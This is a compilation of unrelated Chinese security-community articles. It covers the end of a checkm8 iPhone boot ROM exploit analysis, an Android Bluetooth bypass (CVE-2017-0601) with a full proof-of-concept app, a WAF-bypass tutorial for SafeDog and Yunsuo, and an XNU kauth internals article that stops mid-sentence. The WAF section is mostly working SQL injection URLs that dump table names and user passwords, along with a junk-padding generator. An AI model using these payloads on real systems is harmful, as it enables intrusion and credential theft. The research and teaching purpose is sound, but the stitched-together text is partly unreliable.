**这时之前那个全局变量记录的，还是已经释放掉的`io_buffer`，这就构成了一个 Use-After-Free 漏洞。**
在这个 UAF 漏洞的基础上，只要找到一个合适的攻击目标，用堆风水引导 malloc
把攻击目标分配到`io_buffer`上，就能通过写`io_buffer`修改这个攻击目标的内容了。
说到这里，我忍不住想说句八卦。 littlelailo 在推特上抱怨说，自己早在今年3月就发现了 checkm8 漏洞，但由于他只攻破了 A8 和 A9
处理器，所以就没掀起什么波澜。我没看过他的攻击代码，不知道跟 ani0mX
的代码比起来到底差了哪里。但既然大家原理一模一样，那搞不好就是堆风水的时候出了差别。由此可见，玩风水的造诣确实是能决定一个黑客的运势，古人诚不欺我啊。
最后，给想要自己逆向的读者指个路吧。在 iPhone 8 / iPhone X 的 ROM 中，几个关键函数的位置分别位于：
* USB 主模块代码：`0x10000B24C`
* DFU 请求处理代码：`0x10000BCCC`
* DFU 数据处理代码：`0x10000BEF4`
* * *
## 0x03 构建ROP
这一节我其实本来想顺着聊聊 checkm8 里面堆风水的处理的，然而由于我这篇文章写得三天打鱼两天晒网，所以写到这里的时候外网已经有人发文章详细讨论过
checkm8 堆风水的处理了，还配了好看又细致的插图。那我觉得就没必要再写一遍了，反正也写不过人家，干脆直接贴个链接（[Technical
analysis of the checkm8
exploit](https://m.habr.com/en/company/dsec/blog/472762/)），然后往下跳到构建 ROP 的部分。
为了构建 ROP 调用链， ani0mX 盯上了一个名叫`usb_device_io_request`的数据结构。这个数据结构里面保存着发给 USB 驱动的
IO 请求，正常情况下，USB 驱动会挨个处理这些请求，完成数据收发。但是如果用户要求重置 USB 会话的话，驱动就会 **一口气清空所有请求** ，并且
**调用每个请求的回调函数** 。
通过逆向 iPhone 8 的 Secure ROM ，我整理出了这个请求的具体数据结构：
这个结构里面，我们主要看两个成员：
* `next`指针，用来指向下一个要处理的请求对象，构成一串请求链表。
* `callback`回调函数，虽然图里我把它标成一个`void *`，但它实际的类型是一个函数指针，`void (*callback) (struct usb_device_io_request *io_request)`。
整个攻击思路是这样的：
1. 构建一串假的 IO 请求，让它们的`callback`依次指向我们想执行的 gadget 。
2. 布置一套堆风水布局，操纵 malloc 把一个真请求放到我们掌控的`io_buffer`上。
3. 向`io_buffer`写数据，把那串假请求写进内存，接到真请求的后面。
4. 发送 USB reset 请求，重置会话，让 USB 驱动执行 ROP 链。
有了这套思路之后，剩下的就是选 gadget 之类的细节了，我们暂不赘述。至此，checkm8 的攻击原理已经算是基本揭露完了。
想要自己动手逆向本节内容的读者，我再给你们指个路吧。在iPhone 8 / X 的 Secure ROM 中，几个关键的函数分别位于：
* USB 主模块 reset 请求处理函数：`0x10000B84C`
* USB 驱动 reset 请求处理函数：`0x100004A44`
* * *
## 0x04 后记
从这次的 checkm8 漏洞里我们能学到什么？
首先，我觉得最重要的一点就是再次强调了那个业界共识：“ **保密不等于安全** ”。
当然啦，一定会有人反问我：苹果的这套保密体系不是效果很好吗？这么显眼的漏洞，将近十年都没被黑客发现啊？这还不够安全吗？
然而我们要注意一点， ROM 漏洞并不是将近十年 **没人发现** ，而是将近十年 **没人公布** ，这两字之差就是天壤之别。
在漏洞挖掘这个领域，大家所求的东西各不相同，但顶尖玩家一般就三种：有求名的，比如腾讯、360、知道创宇这些公司的实验室，需要 Apple、Google
时不时发感谢信来维护实验室的招牌。有求财的，比如 Zerodium 这些网络军火商，同样的漏洞苹果顶多悬赏 20~100
万美金，而这帮军火商开口就是150万美金，因为这些漏洞落到他们手里能变现出更大的利益。剩下一批顶尖玩家是各国的国家队，揣着明确的军事目标在挖掘漏洞。
当某个产品漏洞挖掘的门槛抬得过高时（比如 Secure
ROM），各家实验室会迫于经营压力/指标压力，转去寻找更好拿下的山头。整个赛场上就只剩下军火商和国家队，这两种人目标明确，苹果悬赏区区50万、100万根本打动不了他们，挖出的漏洞也就全被他们悄悄吞下来了。
所以对于大公司来说，最好的安全策略其实是拥抱透明，把求名的伙计们更多地拉下场，把愿意公布漏洞赚干净钱的白帽黑客拉下场。如果 Apple 采用这个战略的话，
checkm8 可能根本没机会发展成一个横跨7、8代苹果产品的史诗级漏洞，而是会在 iPhone 5、iPhone 6
发布的时候就被腾讯玄武实验室之类的白帽组织报了出来。然后苹果只要发发锦旗、奉上20万50万美元的赏金，事情就解决了，哪有今天这个尴尬局面？
其次，我觉得这个漏洞还说明了一点：对所有出现数据吞吐的地方，都应该进行细致的 fuzz 测试。
这次 checkm8 的成因，主要是对 USB 请求处理不当造成的 UAF 漏洞。个人感觉这个完全可以用 fuzz 检测出来啊？发完 setup 包之后跳过
data phase ，这个 ROM 程序应该就直接炸了啊？Secure ROM 作为安全启动链的起点，就算不做彻底的形式化验证， fuzz
也应该会做到位吧？感觉有点搞不懂苹果为什么在这里会漏下一个大坑漏了这么多年，感觉有点不可思议。
嘛，这次的文章就写到这里吧，正文有什么错误欢迎在评论区指正，就这样了。
* * * | 社区文章 |
## 0x01 概要
2017年5月的Android安全公告修复MS509团队提交的一个蓝牙提权中危漏洞，这个漏洞尽管简单，但比较有意思，能够使本地恶意App绕过用户交互，使用户强制接收外部传入的蓝牙文件。漏洞概要如下：
* CVE: CVE-2017-0601
* BugID: A-35258579
* 严重性: 中
* 影响的Google设备: All
* Updated AOSP versions: 7.0, 7.1.1, 7.1.2
## 0x02 漏洞分析
蓝牙App暴露了一个广播接收器com.android.bluetooth.opp.BluetoothOppReceiver，本地普通App可以向这个Receiver发送广播，查看其OnReceive方法，包含了对多种传入广播Intent
Action的处理，但是大多数Intent Action处于保护状态，简单用adb shell可以一一对其测试，比如
adb shell am broadcast -a android.btopp.intent.action.OPEN
提示如下错误，说明action处于保护状态
Broadcasting: Intent { act=android.btopp.intent.action.OPEN }
java.lang.SecurityException: Permission Denial: not allowed to send broadcast android.btopp.intent.action.OPEN from pid=26382, uid=2000
at android.os.Parcel.readException(Parcel.java:1683)
at android.os.Parcel.readException(Parcel.java:1636)
at android.app.ActivityManagerProxy.broadcastIntent(ActivityManagerNative.java:3507)
at com.android.commands.am.Am.sendBroadcast(Am.java:772)
at com.android.commands.am.Am.onRun(Am.java:404)
at com.android.internal.os.BaseCommand.run(BaseCommand.java:51)
at com.android.commands.am.Am.main(Am.java:121)
at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method)
at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:262)
但是android.btopp.intent.action.ACCEPT这个Intent Action，却没有保护
adb shell am broadcast -a android.btopp.intent.action.ACCEPT
Broadcasting: Intent { act=android.btopp.intent.action.ACCEPT }Broadcast completed: result=0
进一步分析AOSP代码，发现传入这个Action的Intent时，会将Intent携带Uri指向的db进行更新，更新为用户确认状态。
else if (action.equals(Constants.ACTION_ACCEPT)) {
if (V) Log.v(TAG, "Receiver ACTION_ACCEPT");
Uri uri = intent.getData();
ContentValues values = new ContentValues();
values.put(BluetoothShare.USER_CONFIRMATION,BluetoothShare.USER_CONFIRMATION_CONFIRMED);
context.getContentResolver().update(uri, values, null, null);
cancelNotification(context, uri);
这个db其实就是蓝牙文件共享的provider，对应的uri为content://con.android.bluetooth.opp/btopp，当通过蓝牙共享接收、发送文件时，该数据库都会增加新的条目，记录接收、发送的状态。该provider记录的信息可以参考BluetoothShare
/**
* Exposes constants used to interact with the Bluetooth Share manager's content
* provider.
* @hide
*/
public final class BluetoothShare implements BaseColumns {
private BluetoothShare() {
}
/**
* The permission to access the Bluetooth Share Manager
*/
public static final String PERMISSION_ACCESS = "android.permission.ACCESS_BLUETOOTH_SHARE";
/**
* The content:// URI for the data table in the provider
*/
public static final Uri CONTENT_URI = Uri.parse("content://com.android.bluetooth.opp/btopp");
因此，如果我们在Intent中传入某个蓝牙共享对应文件的uri，那么它在蓝牙文件共享Provider中的状态就会被更改为用户确认状态。这里继续进行猜想，进一步，如果我们刚好通过蓝牙传入某个文件，将其状态改为用户确认，是否文件就无需确认，自动接收了呢？幸运的是，的确如此。
## 0x03 漏洞利用
这里还有一个问题要解决，content://com.android.bluetooth.opp/btopp只是整个provider的uri，我们如何知道刚刚通过蓝牙传入文件的uri呢？通过暴力穷举，下面的PoC简单地解决了这个问题，
public class MainActivity extends AppCompatActivity {
Button m_btnAccept = null;
public static final String ACTION_ACCEPT = "android.btopp.intent.action.ACCEPT";
public static final String BLUETOOTH_SHARE_URI = "content://com.android.bluetooth.opp/btopp/";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
m_btnAccept = (Button)findViewById(R.id.accept);
m_btnAccept.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppReceiver"));
intent.setAction(ACTION_ACCEPT);
// Guess the incoming bluetooth share uri, normally it increases from 1 by 1 and could be guessed easily.
// Then Send broadcast to change the incoming file status
for (int i = 0 ; i < 255; i++) {
String uriString = BLUETOOTH_SHARE_URI + Integer.toString(i);
intent.setData(Uri.parse(uriString));
sendBroadcast(intent);
}
}
});
}
}
## 0x04 测试方法
通过蓝牙向测试手机发送文件，此时，手机将会出现提示，要用户拒绝或者接受，这个对话框将会出现约1分钟
此时运行POC，文件将会自动接收，因此这是一个本地用户交互绕过。如果有恶意程序利用该漏洞一直在后台运行，那么手机将会被强制接收任意蓝牙传入的文件。
## 0x05 修复
Google在Framework的AndroidManifest文件中，将android.btopp.intent.action.ACCEPT和DECLINE设为保护状态，普通App无法发出携带这些action的Intent。
diff --git a/core/res/AndroidManifest.xml b/core/res/AndroidManifest.xml
index ec712bb..011884c 100644
--- a/core/res/AndroidManifest.xml
+++ b/core/res/AndroidManifest.xml
@@ -199,6 +199,8 @@
<protected-broadcast android:name="android.btopp.intent.action.OPEN_INBOUND" />
<protected-broadcast android:name="android.btopp.intent.action.TRANSFER_COMPLETE" />
<protected-broadcast android:name="com.android.bluetooth.gatt.REFRESH_BATCHED_SCAN" />
+ <protected-broadcast android:name="android.btopp.intent.action.ACCEPT" />
+ <protected-broadcast android:name="android.btopp.intent.action.DECLINE" />
<protected-broadcast android:name="com.android.bluetooth.pbap.authchall" />
<protected-broadcast android:name="com.android.bluetooth.pbap.userconfirmtimeout"
<protected-broadcast android:name="com.android.bluetooth.pbap.authresponse" />
## 0x06时间线
2017.02.09——提交Google
2017.03.01——漏洞确认
2017.05.01——补丁发布
2017.05.04——漏洞公开 | 社区文章 |
# 安全狗篇
## 前言
之前一次意淫遇到sql注入，被waf拦截的没脾气，一般的bypass试了也没绕过，还是太菜了，在github上找了一篇文章，练习bypass。
## bypass
### bypass安全狗-联合注入
安全狗版本 `4.0.2655`
1. 特殊运算符
`|`表示按位或
`-`号也可绕过安全狗
1. 内联注释（可惜我遇到的waf见到这个直接杀掉。。。）
`/*!/*!/`
这样直接拦截。
ok，这样是可以的。起初我还有一个小疑问就是中间的数字是啥，其实如果仔细看导出的sql的话，我们就会发现有时候会有这样的语句。这是mysql对标准sql的拓展，在注释中加入`!`,加上`版本号`后只有当前mysql版本大于标注的版本号注释内的sql才会执行。换句话说这个注释就是mysql版本号。版本号固定5位，否则注入会出现错误。而这里为什么是`11440`其他的为什么不行，那就是规则库的问题了。
2. 注释绕过
union select注释+换行 拦截
union all select注释+换行 不拦截
两者的区别在于union会将多次查询结果作并集，而union all则会将多次查询原封不动输出，问题不大。
3. 注入
作者给了几个payload,实测还没失效的
1)括号
2)反引号
http://192.168.1.11/sqli-labs/Less-1/?id=-1' union all%23%0a select 1,group_concat(table_name),3 from `information_schema`.`tables` where table_schema='security'--+
还有
http://192.168.1.11/sqli-labs/Less-1/?id=-1' union all%23%0a select 1,group_concat(table_name),3 from `information_schema`.tables where table_schema='security'--+
过了from后面的过滤就好办了
http://192.168.1.11/sqli-labs/Less-1/?id=-1' union all%23%0a select 1,group_concat(column_name),3 from `information_schema`.columns where table_name='user'--+
http://192.168.1.11/sqli-labs/Less-1/?id=-1' union all%23%0a select 1,username,password from `users` limit 1 --+
### bypass安全狗-盲注
1. 安全狗过滤 `xx if`字样，其中`xx`可以是`and`或`or`。无论后面如何混淆，如下，都会拦截
http://192.168.1.11/sqli-labs/Less-9/?id=1%27%20and if((substr((select%20hex(user/**/(/*!*/))),1,1)%3E01),sleep/**/(/*!5*/),1)--+
而在and后可以加入奇数个特殊符号可以过狗。如
http://192.168.1.11/sqli-labs/Less-9/?id=1%27%20and~~~if((substr((select%20hex(user/**/(/*!*/))),1,1)%3E01),sleep/**/(/*!5*/),1)--+
还有`!!!`,`---`。但在测试`~~~`的时候，我设定的是延时5秒，但明显使用`~~~`延时了10秒。至于原理，暂未找到资料。
接下来的注入
http://192.168.1.11/sqli-labs/Less-1/?id=1%27%20and!!!if(substr(hex((select group_concat(table_name) from `information_schema`.tables where table_schema =0x7365637572697479)),1,1/**/)>5,sleep/**/(/*!2*/),0)--+
需要注意的是sleep函数的绕过，以及`security`的hex编码。
`group_concat(table_name)`的结果为`656D61696C732C72656665726572732C756167656E74732C7573657273`
需要遍历，比较耗时。
2. bool盲注
作者使用的payload为
and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=r
不能加引号。
但其实不用select,如
http://192.168.1.11/sqli-labs/Less-8/?id=1%27%20/*!%26%26*/ substr(unhex(hex(user/**/(/**/))),2,1)='o'--+
就可以加引号且未拦截。
3. 报错
一般的注释绕过如下
http://192.168.1.11/sqli-labs/Less-2/?id=1%20/*!%26%26*/%20/*!11440updatexml*/(1,concat/**/(0x7e,user/**/(/**/),0x7e),1)--+
## 参考
<https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI>
# 云锁篇
## 前言
本来想正儿八经来写云锁bypass的，傻乎乎试了几个payload发现，嗯？挺好过的呀，再次确认了一下，发现增强防护没开，尴尬了。。。正好今天t00l坛子里面提到了云锁注入，可以用垃圾数据填充绕过，之前没玩过，了解一下。
## bypass
### POST
1. 云锁版本
增强防护已开
2. 首先简单介绍垃圾数据填充原理。
市面上一些waf对http流量进行检测的时候会存在一个检测长度，如果数据包长度超过waf检测长度，就会不得已将数据包转发到后端。这样是为了避免waf的检测效率太慢而影响正常业务，也是为了防止waf缓冲区溢出。
3. 下面我们来测试一下。正常POST请求
4. 非法POST请求
5. 生成一些垃圾数据
import random
ls = [chr(i) for i in range(33,125)]
ls.remove("#") # 防止url被注释,话说这个#号还有点东西，最后再说。
ls.remove("*") # 方便使用sqlmap报数据。
s = ""
for i in range(10000):
s = s+random.choice(ls)
print(s)
1. 填入数据后就可绕过
2. 直接用sqlmap测试
检测到waf
_tips_
在POST测试的时候，发现如下payload可绕过waf
注意中间的`#`.猜测云锁到`#`时将后内容当作注释，直接没有检测。
### GET
1. 现在存在的问题就是POST数据包长度没有限制，而GET长度是存在限制的，如果过长那么会报错，过短又不能达到垃圾数据绕过的目的。
2. 本人在测试的payload为
&id=1%27%20and%20/*!11440updatexml*/(1,concat(0x7e,(/*!11440select*/+group_concat(table_name)/**/from+information_schema.tables+where+table_schema=0x64767761),0x7e),1)--+&Submit=Submit
将前面的`1`去掉之后发现竟然可以绕过waf。
而去掉一些垃圾数据后
可见垃圾数据可以扰乱云锁的正则规则。进而降低绕过难度。 | 社区文章 |
**作者：wzt
原文链接：<https://mp.weixin.qq.com/s/Tm4z-_po6DmurcneKQ536A>**
## **1.1** **简介**
XNU将进程凭证credential、文件系统acl授权、进程和文件系统监控这几个安全功能抽象为一个安全框架，叫做kauth子系统。它的具体功能主要包含：
\- 进程凭证credential的创建、更新、销毁。
\- 文件系统acl的创建、评估、销毁。
\- 提供kauth scope框架，对进程、文件系统做监控， 支持系统默认监控函数，提供kpi接口，使得第三方内核扩展可以动态添加钩子。
## **1.2** **进程凭证维护**
### **1.2.1 基本结构**
XNU与传统UNIX的进程凭证cred稍有不同。
bsd/sys/ucred.h：
struct ucred {
TAILQ_ENTRY(ucred) cr_link; /* never modify this without KAUTH_CRED_HASH_LOCK */
u_long cr_ref; /* reference count */
struct posix_cred {
uid_t cr_uid; /* effective user id */
uid_t cr_ruid; /* real user id */
uid_t cr_svuid; /* saved user id */
short cr_ngroups; /* number of groups in advisory list */
gid_t cr_groups[NGROUPS]; /* advisory group list */
gid_t cr_rgid; /* real group id */
gid_t cr_svgid; /* saved group id */
uid_t cr_gmuid; /* UID for group membership purposes */
int cr_flags; /* flags on credential */
} cr_posix;
struct label *cr_label; /* MAC label */
struct au_session cr_audit; /* user auditing data */
};
struct ucred基本继承了BSD的ucred结构，保留了MAC
label和audit审计成员，因为xnu内核完全继承了BSD的MAC和audit子系统能力。同时去掉了poison成员， xnu没有使用bsd
jail的功能，对于xnu的沙箱功能，在后面的系列文章中在详细介绍。xnu
ucred仍然包含用户所在的组概念，成员cr_groups数组长度为16，是unix家族中标准的用户组大小。除了cr_groups，xnu使用kauth子系统扩展了用户所在组的概念，cr_groups包含的仅是本地机器的用户组，Mac
OS可以作为服务器使用，kauth建立了一种额外的扩展能力，可以将网络上的其他机器用户组包含到本地组里。
XNU是一个混合的内核，mach微内核部分控制内核的进程创建与调度功能，
mach的进程结构体包含了指向bsd进程和线程结构体的指针，而cred是BSD内核的功能，自然包含在bsd封装的进程和线程结构体里，它们之间的数据结构体关系如下：
内核通过current_thread()宏来获取mach层的struct thread指针，以i386架构为例：
osfmk/i386/cpu_data.h
#define current_thread_fast() get_active_thread()
#define current_thread() current_thread_fast()
static inline __pure2 thread_t
get_active_thread(void)
{
CPU_DATA_GET(cpu_active_thread,thread_t)
}
#define CPU_DATA_GET(member,type) \
type ret; \
__asm__ volatile ("mov %%gs:%P1,%0" \
: "=r" (ret) \
: "i" (offsetof(cpu_data_t,member))); \
return ret；
typedef struct cpu_data
{
thread_t cpu_active_thread;
} cpu_data_t;
cpu_data_t结构体里的cpu_active_thread成员指向的就是当前cpu指向的mac thread指针，
通过offsetof宏计算处它的偏移，在i386下%gs:offset保存的就是它的地址。X64下保存在%fs:offset。
内核通过get_bsdthread_info函数获取mac thread指向的bsd thread指针：
osfmk/kern/bsd_kern.c
void *get_bsdthread_info(thread_t th)
{
return(th->uthread);
}
内核通过get_threadtask函数获取mac thread指向的mac task指针，然后就可以通过mac task找到bsd进程的proc指针。
osfmk/kern/bsd_kern.c
task_t get_threadtask(thread_t th)
{
return(th->task);
}
void *get_bsdtask_info(task_t t)
{
return(t->bsd_info);
}
内核通过kauth_cred_get函数获取进程的cred结构指针，根据以上结构信息也就不难理解了。
bsd/kern/kern_credential.c
kauth_cred_t
kauth_cred_get(void)
{
struct proc *p;
struct uthread *uthread;
uthread = get_bsdthread_info(current_thread());
if (uthread == NULL)
panic("thread wants credential but has no BSD thread info");
if (uthread->uu_ucred == NOCRED) {
if ((p = (proc_t) get_bsdtask_info(get_threadtask(current_thread()))) == NULL)
panic("thread wants credential but has no BSD process");
uthread->uu_ucred = kauth_cred_proc_ref(p);
}
return(uthread->uu_ucred);
}
### **1.2.2 cred维护**
XNU对于进程cred的维护与BSD、linux有所不同，
它将每个进程的cred缓存在一个hash表里，对于复制cred等操作，可以通过引用计数来实现，在它的代码注释中提到这种优化对于一个桌面系统来讲，可以至少节省200k左右的内存。
### **1.2.3 组扩展机制**
前面提到xnu扩展了bsd的用户组管理机制，在内核中叫做kauth resolver机制，
在kauth初始化时，建立了几个队列，当内核使用cred进行用户组授权的过程中，
将本次请求封装为一个worker，加入相应的队列中等待用户态进程进行处理。xnu增加了一个系统调用identitysvc，用户进程使用这个系统调用与kauth通讯，比如获取等待队列中的worker，然后在用户态进行处理。用户组涉及到的处理逻辑相对复杂，xnu直接引用了windows
nt内核的sid概念来完善kuath授权系统。
#### **1.2.3.1 kauth resolver机制初始化**
bsd/kern/kern_authorization.c
void
kauth_init(void)
{
#if CONFIG_EXT_RESOLVER
kauth_identity_init();[1]
kauth_groups_init();[2]
#endif
#if CONFIG_EXT_RESOLVER
kauth_resolver_init();[3]
#endif
}
Kauth_init在初始时[1]处调用kauth_identity_init()初始化kauth_identities链表，每个节点是struct
kauth_identity结构体，这个链表用来缓存cred的身份信息，因为如果每次身份验证时都要用户态进程参与，那么效率将会非常低，kauth在每次用户态验证完时，将验证成功的身份信息缓存在kauth_identities链表里，下次验证时将在缓存里进行搜索，如果没有匹配到，在通知用户态进程处理。[2]处的kauth_groups_init()函数功能机理与上述一致。[3]处的kauth_resolver_init函数初始化了三个队列，分别为kauth_resolver_unsubmitted、kauth_resolver_submitted、kauth_resolver_done。
#### **1.2.3.2 identitysvc系统调用**
用户态进程通过调用identitysvc系统调用在内核中进行注册，更新缓存大小、获取处理任务以及发送任务的处理结果。
先来看下用户进程的注册过程。
bsd/kern/kern_credential.c
int
identitysvc(__unused struct proc *p, struct identitysvc_args *uap, __unused int32_t *retval)
{
if (opcode == KAUTH_EXTLOOKUP_REGISTER) {
new_id = current_proc()->p_pid;
if ((error = kauth_authorize_generic(kauth_cred_get(), KAUTH_GENERIC_ISSUSER)) != 0) { [1]
KAUTH_DEBUG("RESOLVER - pid %d refused permission to become identity resolver", new_id);
return(error);
}
if (kauth_resolver_identity != new_id) {[2]
kauth_resolver_identity = new_id;[3]
kauth_resolver_registered = 1;
wakeup(&kauth_resolver_unsubmitted);[4]
}
当来自用户空间的请求码为KAUTH_EXTLOOKUP_REGISTER时， 在[1]处调用 kauth_authorize_generic，
这是后面将要讲到的kauth scope监控机制，当前内核的默认授权只是检测当前进程uid是不是为0，
也就是说只有root权限用户才可以注册。[2]处判断当前进程和之前注册的进程号是否相同，如果不相同就会用当前进程号替换原来的进程号kauth_resolver_identity，然后在[4]处唤醒kauth_resolver_unsubmitted等待队列上的进程。
我们看到用户进程的注册过程相当简单，这里就会有几个安全问题。所有root进程都可以进行注册，linux使用了capability进一步将root权限进行了划分，
比如auditd的注册就需要有CAP_NET_ADMIN这个能力才可以。而XNU并没有继承BSD的capability能力模型以及privilege特权模型，这使得它对内核权限的控制就没有那么细致化。其次新的用户进程直接就可以替换老的用户进程，并没有使用一些可信验证手段，
这使得任何的恶意root进程都可以对其进行替换和仿冒，这样身份验证机制就形同虚设了。
我们在来看下用户进程是如何从内核获取任务的。
bsd/kern/kern_credential.c
int
identitysvc(__unused struct proc *p, struct identitysvc_args *uap, __unused int32_t *retval)
{
if (opcode & KAUTH_EXTLOOKUP_WORKER) {
if ((error = kauth_resolver_getwork(message)) != 0)
return(error);
}
}
static int
kauth_resolver_getwork(user_addr_t message)
{
struct kauth_resolver_work *workp;
while ((workp = TAILQ_FIRST(&kauth_resolver_unsubmitted)) == NULL) {
thread_t thread = current_thread();
struct uthread *ut = get_bsdthread_info(thread);
ut->uu_save.uus_kauth.message = message;
error = msleep0(&kauth_resolver_unsubmitted, kauth_resolver_mtx, PCATCH, "GRGetWork", 0, kauth_resolver_getwork_continue);
KAUTH_RESOLVER_UNLOCK();
if (!kauth_resolver_identity) {
printf("external resolver died");
error = KAUTH_RESOLVER_FAILED_ERRCODE;
}
return(error);
}
return kauth_resolver_getwork2(message);
}
kauth_resolver_getwork函数用户获取内核任务，
首先判断kauth_resolver_unsubmitted队列是否为空，这个队列保存的是内核发布的等待用户进程获取的任务节点，下一小节会对其进行描述。如果队列为空，就使用msleep进行睡眠，同时回调函数设置为kauth_resolver_getwork_continue，这个函数只是继续判断队列是否为空，然后递归调用自己。当队列不为空时，会调用kauth_resolver_getwork2。它从kauth_resolver_unsubmitted队列头取下一个节点，用copyout函数拷贝给用户空间的进程，然后将这个节点移入到kauth_resolver_submitted队列，这样用户进程就获取了要进行身份验证的信息。
当用户进程处理完毕后，处理结果要返回给内核。
bsd/kern/kern_credential.c
int
identitysvc(__unused struct proc *p, struct identitysvc_args *uap, __unused int32_t *retval)
{
if (opcode & KAUTH_EXTLOOKUP_RESULT) {
if ((error = kauth_resolver_complete(message)) != 0)
return(error);
}
}
static int
kauth_resolver_complete(user_addr_t message)
{
if ((error = copyin(message, &extl, sizeof(extl))) != 0) {
KAUTH_DEBUG("RESOLVER - error getting completed work\n");
return(error);
}
if (extl.el_result != KAUTH_EXTLOOKUP_FATAL) {
TAILQ_FOREACH(workp, &kauth_resolver_submitted, kr_link) {
if (workp->kr_seqno == extl.el_seqno) {
TAILQ_INSERT_TAIL(&kauth_resolver_done, workp, kr_link);
}
kauth_resolver_complete通过copyin将用户信息拷贝到内核，然后遍历kauth_resolver_submitted队列，根据seq号找到对应的节点，更新处理信息，然后将这个节点移动到kauth_resolver_done队列。
### 1.2.3.3 cred身份验证
当涉及到cred的身份验证时，kauth调用kauth_cred_cache_lookup函数进行处理。
bsd/kern/kern_credential.c
static int
kauth_cred_cache_lookup(int from, int to, void *src, void *dst)
{
switch(from) {
case KI_VALID_UID:[1]
error = kauth_identity_find_uid(*(uid_t *)src, &ki, namebuf);
if (expired) {
if (!expired(&ki)) {[2]
KAUTH_DEBUG("CACHE - entry valid, unexpired");
error = kauth_resolver_submit(&el, extend_data);[3]
if (error == 0) {
kauth_identity_updatecache(&el, &ki, extend_data);[4]
}
kauth在kauth_identities
cache中维护着一个转换列表，cred中的uid可以对应kauth_identities中的guid、ntsid等等。比如转换类型为KI_VALID_UID，则在[1]处调用kauth_identity_find_uid，在cache中进行搜索。找到后，还要在[2]处进行验证身份信息是否过
static int
kauth_resolver_submit(struct kauth_identity_extlookup *lkp, uint64_t extend_data)
{
struct kauth_resolver_work *workp, *killp;
MALLOC(workp, struct kauth_resolver_work *, sizeof(*workp), M_KAUTH, M_WAITOK); [1]
if (workp == NULL)
return(ENOMEM);
workp->kr_work = *lkp;
workp->kr_extend = extend_data;
workp->kr_refs = 1;
workp->kr_flags = KAUTH_REQUEST_UNSUBMITTED;
workp->kr_result = 0;
KAUTH_RESOLVER_LOCK();
workp->kr_seqno = workp->kr_work.el_seqno = kauth_resolver_sequence++;
workp->kr_work.el_result = KAUTH_EXTLOOKUP_INPROG;
TAILQ_INSERT_TAIL(&kauth_resolver_unsubmitted, workp, kr_link); [2]
wakeup_one((caddr_t)&kauth_resolver_unsubmitted); [3]
error = __KERNEL_IS_WAITING_ON_EXTERNAL_CREDENTIAL_RESOLVER__(workp); [4]
if (error == 0)
*lkp = workp->kr_work; [5]
}
期。如果没找到会在[3]处调用kauth_resolver_submit， 将当前处理信息封装为一个struct
kauth_identity_extlookup结构体发送到等待队列中进行处理。
[1] 处封装为一个struct kauth_resolver_work
worker节点，在[2]处挂接到kauth_resolver_unsubmitted队列末尾，在[3]处唤醒在这个等待队列上睡眠的进程，通常为用户态的memberd守护进程。然后在[4]处调用
_KERNEL_IS_WAITING_ON_EXTERNAL_CREDENTIAL_RESOLVER_函数，它一直调用msleep睡眠kauth_resolver_timeout秒，再次被唤醒后，检查worker的状态是否为KAUTH_REQUEST_DONE，如果是则函数返回，否则继续睡眠重复上述行为。当worker被处理完毕后，在[5]处保存更新后的信息。这个信息是用户态进程处理完毕后使用identitysvc系统调用进行同步的。回到kauth_cred_cache_lookup函数，它将调用kauth_identity_updatecache在缓存中更新相关信息。
### **1.2.4 进程和文件系统监控**
#### **1.2.4.1 kauth scope框架**
Kauth定义了一个scope监控框架，提供默认和第三方内核扩展回调函数支持，可以对进程和文件系统的关键行为进行监控。
监控类型有几下几种：
bsd/sys/kauth.h
#define KAUTH_SCOPE_GENERIC "com.apple.kauth.generic"
#define KAUTH_SCOPE_PROCESS "com.apple.kauth.process"
#define KAUTH_SCOPE_VNODE "com.apple.kauth.vnode"
#define KAUTH_SCOPE_FILEOP "com.apple.kauth.fileop"
KAUTH_SCOPE_GENERIC是通用的内核事件监控函数，比如在前面章节讲到的用户态进程注册kauth
resovler时就调用了它的默认监控函数，只判断进程的uid号是否为0。
KAUTH_SCOPE_PROCESS提供进程事件的相关监控，目前只对能否向目标进程发送信号和是否有调试权限做了监控。
KAUTH_SCOPE_VNODE提供了对vnode的权限检查以及acl评估功能。
KAUTH_SCOPE_FILEOP提供了对文件状态和属性更改的监控，它类似于linux的fsnotify文件系统监控框架。
Kauth子系统定义了struct kauth_scope结构：
#define KAUTH_SCOPE_MAX_LISTENERS 15
struct kauth_scope {
TAILQ_ENTRY(kauth_scope) ks_link;
volatile struct kauth_local_listener ks_listeners[KAUTH_SCOPE_MAX_LISTENERS];
const char * ks_identifier;
kauth_scope_callback_t ks_callback;
void * ks_idata;
u_int ks_flags;
};
ks_callback即为默认的callback函数。ks_listeners为第三方内核扩展定义的callback函数。每个scope最多有15个扩展回调函数。
struct kauth_local_listener {
kauth_listener_t kll_listenerp;
kauth_scope_callback_t kll_callback;
void * kll_idata;
}
内核使用kauth_register_scope注册一个scope。
kauth_scope_t
kauth_register_scope(const char *identifier, kauth_scope_callback_t callback, void *idata)
{
kauth_scope_t sp, tsp;
kauth_listener_t klp;
if ((sp = kauth_alloc_scope(identifier, callback, idata)) == NULL)
return(NULL);
KAUTH_SCOPELOCK();
TAILQ_FOREACH(tsp, &kauth_scopes, ks_link) {
if (strncmp(tsp->ks_identifier, identifier,
strlen(tsp->ks_identifier) + 1) == 0) {
KAUTH_SCOPEUNLOCK();
FREE(sp, M_KAUTH);
return(NULL);
}
}
TAILQ_INSERT_TAIL(&kauth_scopes, sp, ks_link);
restart:
TAILQ_FOREACH(klp, &kauth_dangling_listeners, kl_link) {
if (strncmp(klp->kl_identifier, sp->ks_identifier,
strlen(klp->kl_identifier) + 1) == 0) {
if (kauth_add_callback_to_scope(sp, klp) == 0) {
TAILQ_REMOVE(&kauth_dangling_listeners, klp, kl_link);
}
else {
break;
}
goto restart;
}
}
KAUTH_SCOPEUNLOCK();
return(sp);
}
所有scope存在于kauth_scopes链表，kauth_register_scope首先根据名称搜索是否已经存在重名的scope节点，存在直接返回。如果不存在的话，将其挂接于kauth_scopes链表末尾。然后它遍历kauth_dangling_listeners链表，这里保存的是备用的第三方回调函数节点kauth
